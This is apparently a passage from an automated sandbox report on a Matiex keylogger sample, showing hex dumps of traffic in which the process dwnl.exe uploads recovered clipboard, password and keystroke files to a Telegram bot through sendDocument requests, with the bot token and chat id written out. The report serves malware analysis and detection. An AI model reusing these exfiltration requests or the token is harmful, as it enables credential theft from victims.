\|@yYPG9\|#hT_`},RLZbLcd_T$O(t%`1($`(eX=M`HBb\WyPRC}D7%dG*xD<7Hi{{
2021-09-13 04:32:12 UTC	6392	OUT	Data Raw: 26 da 9c 97 fb 76 c4 79 80 df 9f 3e 63 ba 59 60 ba 39 9d 07 91 ea 2e 3b 33 76 5e a3 cf 17 7d 8e f0 f6 a2 e0 2b a5 0b fa 9c 99 85 21 02 d0 2e d3 f0 f1 51 df 83 a1 fd 9c 45 00 82 ec b7 1d c2 ac c2 cf d2 7b fe ef 9d 91 24 a0 23 c5 12 ae b0 23 bc bc 43 f0 ca b2 78 eb 2d 2b 51 24 2a f9 b7 26 00 87 73 73 12 80 5a 02 ae 1a 01 b8 dd e3 67 47 0b 40 8d 11 80 d3 1d 4e 4f 78 69 9c 3e 33 be 3c 14 3c 89 a8 a9 1e 7e 66 46 88 4a 6c b0 cb db 84 be 0a bb 48 02 d0 08 c5 10 25 48 fb 11 99 ec 44 fb ac 79 f8 19 cd d4 b2 23 7d 77 86 96 77 21 22 53 a3 f6 61 8c 00 d4 e2 af 2d 00 89 d4 2c 19 18 01 48 0f 9c ba 5f c2 46 00 9a 87 d2 0e 74 3f 36 0d 8e 14 ec 91 86 09 ee 37 07 0f d1 23 e8 13 80 04 fe 5b 5f ed fd cc 7a 69 9f 20 02 41 5b 00 46 20 00 0b 12 90 f3 7b d2 4f e3 89 bc 59 29 09 Data Ascii: &vy>cY`9.;3v^}+!.QE{$##Cx-+Q$*&ssZgG@NOxi>3<<~fFJlH%HDy#}ww!"Sa-,H_Ft?67#[_zi A[F {OY)
2021-09-13 04:32:12 UTC	6408	OUT	Data Raw: 28 01 28 12 50 cb 3f 61 88 00 14 09 b8 50 01 e8 49 c0 45 09 40 89 c6 d1 02 10 2f ed 31 02 d0 15 80 32 8a 27 4b c0 28 f5 a4 6f 3f e0 08 be 94 2f 62 97 5b 5c a9 47 74 0a c0 d8 07 21 e3 08 40 2d 01 45 04 96 04 20 b0 91 80 7d 02 50 a3 65 a0 08 40 91 7f 2c 00 53 bf 6a 6d e1 07 d1 27 e9 76 d9 f4 bc 7f 61 38 7a 50 fa 11 d4 11 82 44 92 7f 04 3e 0b 3a 32 30 f5 2b 98 f5 2f 08 a2 40 02 32 fa ab 27 02 59 10 36 02 50 4b 40 d0 92 7f 92 16 65 1f 7f ee 90 80 56 f0 0d 61 8c 04 64 e1 e6 a4 5b a4 2c e9 23 b1 6b aa f3 cf 33 15 aa 8b 69 7a 51 88 f4 0b 91 7d ff 4e c7 39 4a 3f 1c 77 16 b8 f8 2d 1c 29 8c 73 e5 fc 78 ee c4 73 b0 39 3f c3 e0 1d 02 8f 8a 2d c2 9b cf fd 30 c8 4e ba 6e e2 f5 c8 d7 25 5d bb d5 29 74 dd 9f f4 a1 50 47 3c ee 4f 39 6a 98 07 11 42 dd c1 d1 7e 7f 5c 57 27 Data Ascii: ((P?aPIE@/12'K(o?/b[\Gt!@-E }Pe@,Sjm'va8zPD>:20+/@2'Y6PK@eVad[,#k3izQ}N9J?w-)sxs9?-0Nn%])tPG<O9jB~\W'
2021-09-13 04:32:12 UTC	6424	OUT	Data Raw: 27 f5 c6 30 ab 60 4a 42 49 e1 8a a2 01 79 34 5e fe 2c 0d db d7 fb 6c 71 f6 d3 a6 25 bc f5 97 0b 6f fb c0 cb 5b c2 5b bf 8f b8 5e fa bd ec 72 07 f9 5d ed 6f a3 99 6c 2c 02 50 0b be a1 6c 4c 02 f0 fe 87 05 8a 12 d0 17 7c 7d 2c 4a 00 02 2d ff 80 4e eb 93 78 56 f8 59 bc 75 46 e1 48 3f 8d 88 bd 4c 00 7a 74 08 40 4f 02 36 e9 b9 f8 13 44 f0 95 d2 85 21 02 30 93 80 eb 49 00 b6 c1 c3 79 78 40 cf d0 0f e7 44 f6 e0 4e 6c 74 02 70 c4 36 f5 8b 5a c2 13 80 4a 02 8a 00 14 09 28 02 b0 11 81 b9 f8 13 ac b4 6b 61 04 a0 9b 07 a0 2c a7 bc b4 9e 74 52 ef c9 bd 21 18 01 28 12 70 b4 00 04 51 00 ba 91 80 12 0d 28 2f f6 04 04 60 e8 b3 ab 83 42 24 a0 87 27 00 59 3e 28 09 98 c9 3f 44 25 69 01 78 74 88 66 82 00 ac 8e c9 c5 df d2 f1 ef 48 88 fc 63 e1 27 7d 08 4a 3f 82 90 25 3c 08 42 Data Ascii: '0`JBIy4^,lq%o[[^r]ol,PlL\|},J-NxVYuFH?Lzt@O6D!0Iyx@DNltp6ZJ(ka,tR!(pQ(/`B$'Y>(?D%ixtfHc'}J?%<B
2021-09-13 04:32:12 UTC	6440	OUT	Data Raw: b1 3f 40 1d 0d 08 a1 02 b1 22 02 30 0a 1a c6 13 80 8f c2 08 c1 b9 00 f4 24 a0 a4 27 86 0a c0 c3 29 1f b0 22 50 cb 3f 90 8d 1c 0c 44 58 b5 d1 82 af 0f 2d c3 18 4f 98 09 6e 1e 4f ea 8d 41 95 6b 51 db 59 b4 f8 63 9c 63 97 8e 73 3c ee b9 fc a3 df 05 d1 7e 51 fe e1 7c 28 8a 3f 3d 52 ef 00 01 e8 49 3f 8d 34 6d 97 88 bf 24 ba 63 e4 5f 13 2d 9b 4b f3 24 fe 08 96 f0 5a fe 81 01 02 50 d7 31 2c fe 4a f5 1f a3 ea 4c 42 cb 3f ae c7 ed a0 15 5c 0f e7 62 6f 38 e7 a9 7b 01 ee 25 ea be 62 45 56 bc 5f 0e 17 7b 43 51 32 cc 8e 80 6b 04 20 98 57 00 6a f9 e7 46 fa ab ef 5e a4 6f 9d 1d b1 ad 20 fe ec fe b7 f1 8e c9 00 e4 b9 87 9f ad 9a e7 2d 48 3e 7e 26 8b 68 f9 67 05 e0 f4 21 94 47 8b 3b e0 c9 bd 21 e8 32 9a a6 bf 26 fa ef db af 0f 9f bf ff 5e 16 80 88 02 fc e9 a7 ce 4c cd 80 Data Ascii: ?@"0$')"P?DX-OnOAkQYccs<~Q\|(?=RI?4m$c_-K$ZP1,JLB?\bo8{%bEV_{CQ2k WjF^o -H>~&hg!G;!2&^L
2021-09-13 04:32:12 UTC	6456	OUT	Data Raw: cb 4a 4c 96 a5 32 8f c9 3f 01 64 1f 27 cc 0e 9c 90 80 07 54 fe 09 5c c4 1d 15 54 fe 09 28 ed 88 f8 53 30 5d 0d 54 cc 6d 13 2a ff 04 2e f4 22 0b 08 40 01 85 de 18 56 fe e9 32 16 d4 95 b0 02 50 c8 82 cf 06 bc c0 23 cb c7 28 09 40 2b 01 13 f9 27 cc 14 80 11 37 58 49 88 eb f2 e0 3d 41 05 60 41 02 fa 41 d0 b5 83 04 b4 a2 8f 2d 13 e2 25 44 58 c7 12 a6 ee 1b 15 80 28 f7 6a b1 65 b4 80 83 de 39 e0 0c 42 32 8b 70 4c 00 26 5c 7f 73 36 a8 df 84 00 cc f2 45 e9 30 43 00 c6 f5 a9 bc f0 9c 74 65 0b 76 b9 80 d2 23 02 db 02 54 a4 a0 00 54 bc 84 69 11 80 64 3d 13 7b b5 02 d0 6f 9f ca 3e 46 be 6d c1 cf 34 2b 09 40 11 54 22 b9 84 28 c5 ac c0 1b 48 a5 1a 27 a6 7f e6 2b 27 24 de 9a 64 f5 9e c7 98 fc b3 97 ed 56 13 67 62 c2 b1 61 10 f9 67 05 60 76 fc 79 8c f0 93 63 15 2f f5 25 Data Ascii: JL2?d'T\T(S0]Tm*."@V2P#(@+'7XI=A`AA-%DX(je9B2pL&\s6E0Ctev#TTid={o>Fm4+@T"(H'+'$dVgbag`vyc/%
2021-09-13 04:32:12 UTC	6472	OUT	Data Raw: 7f c2 5e 00 1a b8 04 1b 60 79 96 60 dd f2 5b f2 6b da 3a 72 a9 d5 82 15 5a 4c 7a b5 60 cb 9b 04 a4 9e 95 7c fa 19 d1 75 4b 61 eb c3 f6 09 b1 e9 ad 00 b4 12 30 11 72 41 ca 35 61 f3 97 60 e9 dd 67 26 ed 96 84 4a bd 16 f6 02 70 16 6c db b5 60 7b 58 39 b7 36 4c 00 0a 90 e6 38 0b 40 a5 94 d6 2f 93 4b 83 61 fd 18 4c fa 21 99 b4 9b 8b c8 ba d2 f2 b5 e0 c1 46 35 44 f2 8d 71 dc 04 e0 89 47 8e 07 c9 7d 90 b8 06 18 7c 32 42 a0 be 39 d2 c0 98 a1 c1 b2 25 0a 40 c5 2d b3 64 c2 cf b2 17 80 14 3b 30 2d c2 06 b5 0d 30 c1 37 45 52 46 22 e3 ea 48 06 f0 64 7d 1b 1b 16 80 8f 77 e9 05 58 96 08 18 58 4e 31 79 85 24 3f 13 4d 2d 18 29 25 a0 98 8a e9 9e f0 ad 39 58 4e 03 a9 04 4c 85 57 1b 79 dd 9b 21 f5 f3 e8 3e d6 e4 a9 49 a3 98 74 43 5b f3 d9 85 28 ff fc f7 21 4f df 85 d9 7f 78 Data Ascii: ^`y`[k:rZLz`\|uKa0rA5a`g&Jpl`{X96L8@/KaL!F5DqG}\|2B9%@-d;0-07ERF"Hd}wXXN1y$?M-)%9XNLWy!>ItC[(!Ox
2021-09-13 04:32:12 UTC	6488	OUT	Data Raw: df f8 c6 5c 28 91 3a ae 83 95 a9 35 48 7b 5b 91 f7 55 6f 7a 41 50 70 5d f7 cf 7f f1 bd 71 b9 bc d7 bf 93 af fa a6 24 8f 20 7f 4c ea 29 53 eb 05 fc 3b f3 c2 47 36 7d bf 0a 6b df 4d b4 b7 a0 db 42 0e ce ef f1 12 f0 82 6b 8d 14 64 f0 19 83 8a 2c 1b 24 1e bc 4f 1e f2 71 6d 7c af e5 c6 a7 0f 07 b4 1c fb ea e5 e4 85 41 52 8e bc 8a 08 1c 63 75 d1 f5 11 f9 2c 79 22 b1 ce 0e 5c ee d0 fc 76 79 c6 05 d7 8f c3 a4 1e c2 a4 62 25 87 0f 71 e5 53 29 55 0f 93 94 9b 62 e5 02 9e 56 58 39 73 60 fb de c2 e1 43 45 ee 49 d0 66 d7 0d c1 1c 13 7c ad d8 9b 44 4f 41 83 1a 40 82 84 6c b9 06 45 0e 56 87 16 4a e5 8e 02 79 b2 80 a6 11 1a d4 6c 98 24 d0 62 41 2d 80 41 30 63 4c 0e f6 c0 80 ca e2 05 e0 70 5f a6 79 f4 83 be b9 e8 00 72 5d b2 b2 64 66 8a 43 06 a9 08 97 78 23 d8 f4 08 4b df Data Ascii: \(:5H{[UozAPp]q$ L)S;G6}kMBkd,$Oqm\|ARcu,y"\vyb%qS)UbVX9s`CEIf\|DOA@lEVJyl$bA-A0cLp_yr]dfCx#K
2021-09-13 04:32:12 UTC	6504	OUT	Data Raw: 50 c6 9d ea 78 e1 67 21 e7 af 26 54 f0 15 d0 f3 34 3b 8f 0b d8 27 cd 83 f7 91 d5 18 01 d8 2a 01 69 99 63 ec 98 00 64 b1 51 0b 18 db 51 58 5c d8 c2 44 59 2c ae de 14 3a 1e 58 67 5c 60 cb a0 72 af 86 92 00 4c 24 e0 50 47 d6 76 1e 68 df da ef 37 59 af b1 b2 c8 34 13 2f c7 75 6b 80 e5 ad 4b 56 fe ae 08 c0 4c 2a 58 69 71 8e 3c 05 f8 e2 5e ca bc e0 4e 2f 3f f4 cf 3f 95 35 91 54 c3 df 5d b7 ff cd fe 61 20 fa 14 d5 1b 4e f7 0f eb f0 b3 c9 dc 76 e5 35 3e 01 36 ac 1b 9e 5a 8b 7f 77 77 b7 3c 45 a4 96 08 32 94 58 f2 20 07 91 61 f2 10 11 b9 6c b4 17 3c a9 d0 11 49 84 7f 50 96 c8 1b b9 84 73 29 a1 25 33 09 b3 ba bb 76 b8 cd 05 6b 32 db 4f c4 96 69 bf 3b 5e 00 75 91 7d 77 af fe be 74 3a 6b 4f d6 39 e4 5e 89 5e 42 85 cf 51 92 ca a5 bd 22 c6 1c 7d be db bb 93 f2 3d c5 07 Data Ascii: Pxg!&T4;'icdQQX\DY,:Xg\`rL$PGvh7Y4/ukKVLXiq<^N/??5T]a Nv5>6Zww<E2X al<IPs)%3vk2Oi;^u}wt:kO9^^BQ"}=
2021-09-13 04:32:12 UTC	6520	OUT	Data Raw: ba f3 bf 39 9b b8 79 e3 30 cd e7 f3 66 42 dd f9 1c 10 e3 a6 a3 6d 6e 5a ae f9 c6 eb d7 de 08 3e 37 29 6c 06 9b c4 66 9d 96 df 6c 6e 9a 90 fd 86 0e 1b 64 9a be 8c 41 ef 37 66 da 8d 3b cb af 2f fd 6e 36 01 1b 46 62 6c 1b 47 8c 71 d6 40 6a 4b ff 1a ac 6b 9e e3 b0 5e 6e 98 dd 48 4b 06 a6 4f 3f 52 e2 6f 22 fb 46 1d 7b 12 80 e6 4e 3a e3 a0 af 90 3e 29 c7 e6 be 11 5a 63 ec 2c 25 0f d0 05 b6 24 02 24 1b 80 7a fa fb 1a 7d 3d 6d 99 5f c5 67 8c e3 cb 18 6c f6 65 ff bd 2e 68 67 0d 6c cb 36 75 1a 7a c2 a5 f7 a5 9e 84 0e a0 2d d9 03 92 cc d1 66 5c 9f 83 4e 7c fa 80 79 59 27 49 20 da e6 f4 71 da 21 98 d4 91 22 6b e5 58 cd 37 5e bf 76 09 2b 24 b6 49 52 8f b8 d1 2e 71 a7 2d 75 c8 3b 74 81 cd 5f 09 96 d8 33 06 5d d2 0f 3d 73 8c 83 ec 9b fc 33 d1 b7 7d e2 8f b1 f3 94 62 f3 Data Ascii: 9y0fBmnZ>7)lflndA7f;/n6FblGq@jKk^nHKO?Ro"F{N:>)Zc,%$$z}=m_gle.hgl6uz-f\N\|yY'I q!"kX7^v+$IR.q-u;t_3]=s3}b
2021-09-13 04:32:12 UTC	6536	OUT	Data Raw: 6f f1 2b c0 09 93 7a dd e2 62 ed 45 fc 21 2f eb 02 4f 28 3a d2 be 90 40 bf 3a be 6a d3 5a e1 f5 af 7f fd f0 75 5f f7 75 c3 2d b7 dc 32 11 79 cf 7d ee 73 0f 22 01 89 21 96 1c 72 a9 41 ad 2a f6 2c 4c 24 52 41 00 ae 11 46 c4 3f fb d5 6f 98 08 a6 cd d3 3d 2b 04 e2 c6 3f 62 95 34 3b 90 ac 5a af 57 93 63 fb 73 2a b4 3a 53 6c 1c 4f ff 77 f9 f6 d6 90 b8 5b 89 dd 37 9e 45 3f 10 7f 8b 27 12 0f 3d 46 cf d9 89 00 3c e1 f6 01 e4 1e 4f f8 6d 3f 93 5b 60 bf 28 f9 07 9c 83 9d 77 a7 b9 77 5e 40 b2 9d f3 34 3a 70 11 44 9f e6 eb 79 83 e1 06 02 e9 06 63 8a 9b 37 1c 48 5e c6 81 69 01 9c 7d 00 df b4 1e 44 ad dc 10 ed ea c4 bb 29 1b d7 b3 d1 ee 26 ce 58 65 db 60 b5 18 6c c0 f6 8d 2f ff 37 3b 24 e0 8d 2f fa fe e1 23 fe e8 33 a7 cd 60 e6 42 18 de e9 73 ff c7 e1 c6 af fb 99 29 ce Data Ascii: o+zbE!/O(:@:jZu_u-2y}s"!rA,L$RAF?o=+?b4;ZWcs:SlOw[7E?'=F<Om?[`(ww^@4:pDyc7H^i}D)&Xe`l/7;$/#3`Bs)
2021-09-13 04:32:12 UTC	6547	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 13 Sep 2021 04:32:12 GMT Content-Type: application/json Content-Length: 1315 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-13 04:32:12 UTC	6547	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 31 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 37 30 39 36 33 31 33 36 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 31 32 30 35 39 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 45 54 54 59 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 55 54 54 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 74 74 79 62 75 74 61 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 31 35 30 37 35 33 32 2c 22 64 6f Data Ascii: {"ok":true,"result":{"message_id":314,"from":{"id":1709631362,"is_bot":true,"first_name":"TOBI5000","username":"TOBI5000_bot"},"chat":{"id":1120598411,"first_name":"BETTY","last_name":"BUTTER","username":"bettybuta","type":"private"},"date":1631507532,"do

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.5	49821	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-13 04:32:12 UTC	6548	OUT	POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Clipboard%20Logger%20%5C HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d97680386ef809 Host: api.telegram.org Content-Length: 749
2021-09-13 04:32:12 UTC	6549	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 37 36 38 30 33 38 36 65 66 38 30 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4d 61 74 69 65 78 43 6c 69 70 62 6f 61 72 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 2f 2a 20 4d 61 74 69 65 78 20 4b 65 79 6c 6f 67 67 65 72 20 2d 20 52 65 63 6f 76 65 72 65 64 20 43 6c 69 70 62 6f 61 72 64 20 2a 5c 0d 0a 20 0d 0a 0d 0a 7c 20 53 79 73 74 65 6d 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 7c 20 0d 0a 0d 0a 43 6f 6d 70 Data Ascii: --------------------------8d97680386ef809Content-Disposition: form-data; name="document"; filename="MatiexClipboard.txt"Content-Type: application/x-ms-dos-executable/* Matiex Keylogger - Recovered Clipboard *\ \| System Information \| Comp
2021-09-13 04:32:12 UTC	6549	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 13 Sep 2021 04:32:12 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-13 04:32:12 UTC	6550	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 31 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 37 30 39 36 33 31 33 36 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 31 32 30 35 39 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 45 54 54 59 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 55 54 54 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 74 74 79 62 75 74 61 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 31 35 30 37 35 33 32 2c 22 64 6f Data Ascii: {"ok":true,"result":{"message_id":315,"from":{"id":1709631362,"is_bot":true,"first_name":"TOBI5000","username":"TOBI5000_bot"},"chat":{"id":1120598411,"first_name":"BETTY","last_name":"BUTTER","username":"bettybuta","type":"private"},"date":1631507532,"do

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.5	49822	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-13 04:32:12 UTC	6550	OUT	POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Passwords%20%5C HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d976803892b5ce Host: api.telegram.org Content-Length: 833
2021-09-13 04:32:12 UTC	6551	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 37 36 38 30 33 38 39 32 62 35 63 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4d 61 74 69 65 78 50 61 73 73 77 6f 72 64 73 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 2f 2a 20 4d 61 74 69 65 78 20 4b 65 79 6c 6f 67 67 65 72 20 2d 20 52 65 63 6f 76 65 72 65 64 20 50 61 73 73 77 6f 72 64 73 20 2a 5c 0d 0a 20 0d 0a 0d 0a 7c 20 53 79 73 74 65 6d 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 7c 20 0d 0a 0d 0a 43 6f 6d 70 Data Ascii: --------------------------8d976803892b5ceContent-Disposition: form-data; name="document"; filename="MatiexPasswords.txt"Content-Type: application/x-ms-dos-executable/* Matiex Keylogger - Recovered Passwords *\ \| System Information \| Comp
2021-09-13 04:32:12 UTC	6551	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 13 Sep 2021 04:32:12 GMT Content-Type: application/json Content-Length: 554 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-13 04:32:12 UTC	6552	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 31 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 37 30 39 36 33 31 33 36 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 31 32 30 35 39 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 45 54 54 59 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 55 54 54 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 74 74 79 62 75 74 61 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 31 35 30 37 35 33 32 2c 22 64 6f Data Ascii: {"ok":true,"result":{"message_id":316,"from":{"id":1709631362,"is_bot":true,"first_name":"TOBI5000","username":"TOBI5000_bot"},"chat":{"id":1120598411,"first_name":"BETTY","last_name":"BUTTER","username":"bettybuta","type":"private"},"date":1631507532,"do

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.5	49823	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-13 04:32:12 UTC	6552	OUT	POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20keystroke%20%5C HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d9768038b1b319 Host: api.telegram.org Content-Length: 749
2021-09-13 04:32:12 UTC	6553	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 37 36 38 30 33 38 62 31 62 33 31 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4d 61 74 69 65 78 4b 65 79 73 74 72 6f 6b 65 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 2f 20 4d 61 74 69 65 78 20 4b 65 79 6c 6f 67 67 65 72 20 2d 20 52 65 63 6f 76 65 72 65 64 20 6b 65 79 73 74 72 6f 6b 65 20 5c 0d 0a 20 0d 0a 0d 0a 7c 20 53 79 73 74 65 6d 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 7c 20 0d 0a 0d 0a 43 6f 6d 70 75 74 Data Ascii: --------------------------8d9768038b1b319Content-Disposition: form-data; name="document"; filename="MatiexKeystroke.txt"Content-Type: application/x-ms-dos-executable/ Matiex Keylogger - Recovered keystroke \ \| System Information \| Comput
2021-09-13 04:32:12 UTC	6553	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 13 Sep 2021 04:32:12 GMT Content-Type: application/json Content-Length: 554 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-13 04:32:12 UTC	6554	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 31 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 37 30 39 36 33 31 33 36 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 31 32 30 35 39 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 45 54 54 59 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 55 54 54 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 74 74 79 62 75 74 61 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 31 35 30 37 35 33 32 2c 22 64 6f Data Ascii: {"ok":true,"result":{"message_id":317,"from":{"id":1709631362,"is_bot":true,"first_name":"TOBI5000","username":"TOBI5000_bot"},"chat":{"id":1120598411,"first_name":"BETTY","last_name":"BUTTER","username":"bettybuta","type":"private"},"date":1631507532,"do

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.5	49824	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
